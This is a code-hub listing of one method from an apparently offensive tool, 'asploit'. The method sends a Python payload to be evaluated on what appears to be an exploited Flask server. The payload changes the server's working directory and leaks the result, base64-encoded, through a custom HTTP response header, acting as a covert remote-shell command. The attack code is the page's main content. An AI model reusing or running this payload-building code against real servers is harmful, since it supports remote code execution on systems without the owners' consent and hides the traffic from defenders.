MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__cd

Method _Base__cd

src/FlaskExploitProcessor.py:148–158  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

146 @brief See base class for details.
147 """
148 def _Base__cd(self, options: str):
149 res = self.__eval(
150 f"try:\n"
151 f"\t__import__('os').chdir('{options}');"
152 f"r.headers['{self.header}']=__import__('base64').b64encode("
153 f"__import__('os').getcwd().encode()).decode();\n"
154 f"except Exception as e:\n"
155 f"\tr.headers['{self.header}']=__import__('base64').b64encode("
156 f"str(e).encode());")
157 self.directory = base64.b64decode(res).decode()
158 print(self.directory)
159
160 """
161 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected